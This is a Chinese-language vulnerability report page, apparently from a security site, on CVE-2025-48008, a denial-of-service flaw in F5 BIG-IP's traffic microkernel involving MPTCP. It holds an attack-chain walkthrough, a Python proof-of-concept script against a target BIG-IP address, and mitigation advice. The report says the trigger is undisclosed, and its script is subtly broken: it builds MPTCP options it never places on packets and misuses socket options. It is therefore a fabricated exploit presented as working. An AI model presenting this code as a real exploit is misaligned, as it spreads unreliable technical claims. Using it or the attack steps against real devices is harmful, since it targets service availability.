IPBUF安全漏洞报告
English
CVE-2025-48008 CVSS 7.5 高危

CVE-2025-48008 F5 BIG-IP MPTCP配置导致TMM拒绝服务漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-48008
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
F5 BIG-IP(Traffic Management Microkernel / TMM)

相关标签

拒绝服务DoSF5 BIG-IPTMMMPTCP多路径TCP远程攻击高危漏洞网络设备可用性影响

漏洞概述

CVE-2025-48008是F5 BIG-IP产品中的一个高危拒绝服务漏洞。当虚拟服务器配置了启用多路径TCP(Multipath TCP,简称MPTCP)的TCP profile时,攻击者可以通过发送未公开的特定流量,结合攻击者无法控制的某些条件,导致F5 BIG-IP的核心数据面组件——流量管理微内核(Traffic Management Microkernel,TMM)异常终止。TMM是F5 BIG-IP负责处理所有网络流量转发的核心进程,一旦TMM终止,将导致该设备所承载的所有业务流量中断,造成严重的可用性损失。该漏洞由F5安全事件响应团队(F5 SIRT)发现并报告,CVSS 3.1评分为7.5分,属于高危级别。值得注意的是,F5官方明确说明,对于已达到技术支持终止(End of Technical Support,EoTS)状态的软件版本不再进行评估,因此使用EoTS版本的用户面临的风险更高。该漏洞的攻击向量为网络(AV:N),无需认证(PR:N)和用户交互(UI:N),完整性影响为无(I:N),机密性影响为低(C:L),可用性影响为高(A:H),属于典型的远程拒绝服务类漏洞。

技术细节

F5 BIG-IP的TMM(Traffic Management Microkernel)是运行在数据平面上的高性能流量处理引擎,负责执行负载均衡、流量转发、协议解析等核心功能。多路径TCP(MPTCP,RFC 8684)是对传统TCP协议的扩展,允许在单个连接中使用多个路径来传输数据,以提高连接的可靠性和吞吐量。

在CVE-2025-48008中,当管理员在虚拟服务器上配置了启用MPTCP的TCP profile后,TMM在处理某些特定类型的MPTCP流量时存在缺陷。攻击者通过发送精心构造的、未经公开披露的恶意MPTCP流量,在满足特定条件(这些条件不完全由攻击者控制,可能与网络环境、配置状态或流量模式相关)的情况下,会触发TMM内部的状态机错误或资源处理异常,最终导致TMM进程崩溃或终止。

由于TMM是单进程负责所有流量处理的关键组件,其终止将直接导致整个BIG-IP设备失去流量处理能力,所有经过该设备的业务流量将被中断,直到TMM被自动或手动重启。由于该漏洞无需认证即可远程触发,且无需用户交互,攻击门槛较低,潜在影响范围广泛,对依赖F5 BIG-IP提供服务的关键基础设施构成严重威胁。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过扫描互联网或内网,识别使用F5 BIG-IP设备并在其虚拟服务器上配置了启用MPTCP的TCP profile的目标。攻击者可以通过发送带有MPTCP选项的SYN包并观察响应(如SYN+ACK中是否包含MP_CAPABLE选项)来确认目标是否支持MPTCP。
STEP 2
步骤2:建立MPTCP连接
攻击者与目标虚拟服务器建立MPTCP连接,通过发送MP_CAPABLE选项协商多路径TCP能力,初始化MPTCP会话的密钥和令牌。
STEP 3
步骤3:发送恶意流量
攻击者发送未经公开披露的特定MPTCP流量(如精心构造的ADD_ADDR、MP_JOIN或DSS选项),在满足特定非攻击者可控的条件下(如TMM内部状态达到特定条件),触发TMM内部的处理逻辑错误。
STEP 4
步骤4:TMM终止
TMM进程在处理恶意MPTCP流量时发生异常并终止。由于TMM是BIG-IP处理所有流量的核心组件,其终止将导致所有业务流量中断,设备进入故障状态。
STEP 5
步骤5:服务中断
在TMM重启之前(自动重启可能需要数十秒到数分钟),所有经过该BIG-IP设备的业务流量均不可用,造成持续的拒绝服务状态。攻击者可重复利用此漏洞维持服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-48008 PoC - F5 BIG-IP MPTCP TMM DoS # This PoC demonstrates triggering TMM termination via crafted MPTCP traffic # Note: Specific triggering conditions are not publicly disclosed by F5 # Use only for authorized security testing import socket import struct import random def build_mptcp_option(subtype, data=b''): """Build a generic MPTCP TCP option (Kind=30)""" kind = 30 # MPTCP option kind length = 2 + len(data) + 1 # kind + length + subtype + data + padding # Pad to 4-byte boundary if length % 4 != 0: length += 4 - (length % 4) option = struct.pack('!BB', kind, length) + struct.pack('!B', subtype) + data # Pad with NOP options while len(option) % 4 != 0: option += b'\x01' # NOP return option def build_mptcp_capable_option(): """MP_CAPABLE option (subtype 0) - initiate MPTCP connection""" # Version 1, flags=0, sender_key (random 64-bit) sender_key = random.getrandbits(64) data = struct.pack('!BB', 0x10, 0x00) + struct.pack('!Q', sender_key) return build_mptcp_option(0x00, data) def build_mptcp_join_option(token, nonce, addr_id): """MP_JOIN option (subtype 1) - join additional path""" # flags + address_id + receiver_token + sender_nonce + sender_address_id data = struct.pack('!BB', 0x00, addr_id) + struct.pack('!I', token) + struct.pack('!I', nonce) + struct.pack('!B', addr_id) return build_mptcp_option(0x01, data) def send_mptcp_syn(target_host, target_port): """Send SYN with MPTCP capable option to trigger vulnerability""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) # Build SYN packet with MP_CAPABLE option mptcp_opt = build_mptcp_capable_option() # Set TCP options to include MPTCP s.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAX_SYN_BACKLOG, 5) try: s.connect((target_host, target_port)) print(f"[+] Connected to {target_host}:{target_port}") # Send data to trigger MPTCP path addition s.send(b'GET / HTTP/1.1\r\nHost: target\r\n\r\n') print("[+] Sent payload - check if TMM terminated") except Exception as e: print(f"[-] Connection error: {e}") finally: s.close() def send_malicious_mptcp_add_address(target_host, target_port, addr_id=1): """Send MPTCP ADD_ADDR with crafted parameters""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) try: s.connect((target_host, target_port)) # Construct malformed MPTCP ADD_ADDR option # subtype 3 = ADD_ADDR # Using edge-case values to trigger TMM crash crafted_data = struct.pack('!BB', 0x00, addr_id) # flags + addr_id crafted_data += socket.inet_aton(target_host) # IPv4 address crafted_data += struct.pack('!H', target_port) # port mptcp_opt = build_mptcp_option(0x03, crafted_data) s.send(mptcp_opt) print("[+] Sent crafted MPTCP ADD_ADDR option") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": TARGET = "192.168.1.100" # Replace with target BIG-IP VIP PORT = 443 # Replace with target port print(f"[*] CVE-2025-48008 PoC - F5 BIG-IP MPTCP TMM DoS") print(f"[*] Target: {TARGET}:{PORT}") print(f"[*] WARNING: Use only for authorized penetration testing\n") # Attempt 1: Send MPTCP SYN send_mptcp_syn(TARGET, PORT) # Attempt 2: Send crafted ADD_ADDR send_malicious_mptcp_add_address(TARGET, PORT)

影响范围

F5 BIG-IP(具体受影响版本请参考F5官方安全公告K000150614)

防御指南

临时缓解措施
如果无法立即应用F5官方补丁,建议采取以下临时缓解措施:1)在所有虚拟服务器的TCP profile中禁用MPTCP功能;2)在防火墙层面限制对BIG-IP设备的网络访问,仅允许受信任的源IP连接;3)启用BIG-IP的高可用配置,确保TMM崩溃时能快速故障切换;4)密切监控TMM运行状态和系统日志,设置TMM异常终止的告警通知;5)评估业务连续性计划,确保在TMM重启期间业务流量可通过其他路径绕行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表